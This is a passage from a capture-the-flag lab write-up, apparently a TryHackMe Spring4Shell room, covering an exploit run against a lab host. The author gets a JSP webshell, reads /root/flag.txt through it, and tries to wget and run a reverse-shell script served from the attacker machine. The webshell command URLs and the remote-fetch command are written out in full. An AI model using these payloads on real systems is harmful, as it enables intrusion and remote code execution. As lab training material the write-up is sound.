We can see the action on the form is "/" so the target URL will be using for the exploit is http://10.10.69.218/
root@ip-10-10-173-13:~/spring# ./exploit.py http://10.10.69.218/Shell Uploaded Successfully!
Your shell can be found at: http://10.10.69.218/tomcatwar.jsp?pwd=thm&cmd=whoami
Opening this URL and changing the "whoami" by "id" gives me :

[Bonus Question: Optional] Use your webshell to obtain a reverse/bind shell on the target.

What is the flag in /root/flag.txt?
2 method here. First from the original exploit and print the flag :
http://10.10.69.218/tomcatwar.jsp?pwd=thm&cmd=cat%20/root/flag.txt
Or from the reverse shell :
I created somes reverses shell on the attacker machine then run a http python server to retreive them on the target machine.
First i need to urlencode my cmd payload :
http://10.10.85.199/tomcatwar.jsp?pwd=thm&cmd=wget http://10.10.173.13:8000/reverse.sh -o /tmp/reverse.sh
to
http://10.10.85.199/tomcatwar.jsp?pwd=thm&cmd=wget%20http://10.10.173.13:8000/reverse.sh%20-o%20/tmp/reverse.sh
Then change the file to make it executable :
http://10.10.85.199/tomcatwar.jsp?pwd=thm&cmd=chmod%20777%20/tmp/reverse.sh
Let's take a look a the /tmp directory :
I tried with different types of reverse shell but none of them executed well. for example :
http://10.10.85.199/tomcatwar.jsp?pwd=thm&cmd=./tmp/reverse.sh
I also checked the python version available :
I got no better result using CURL.
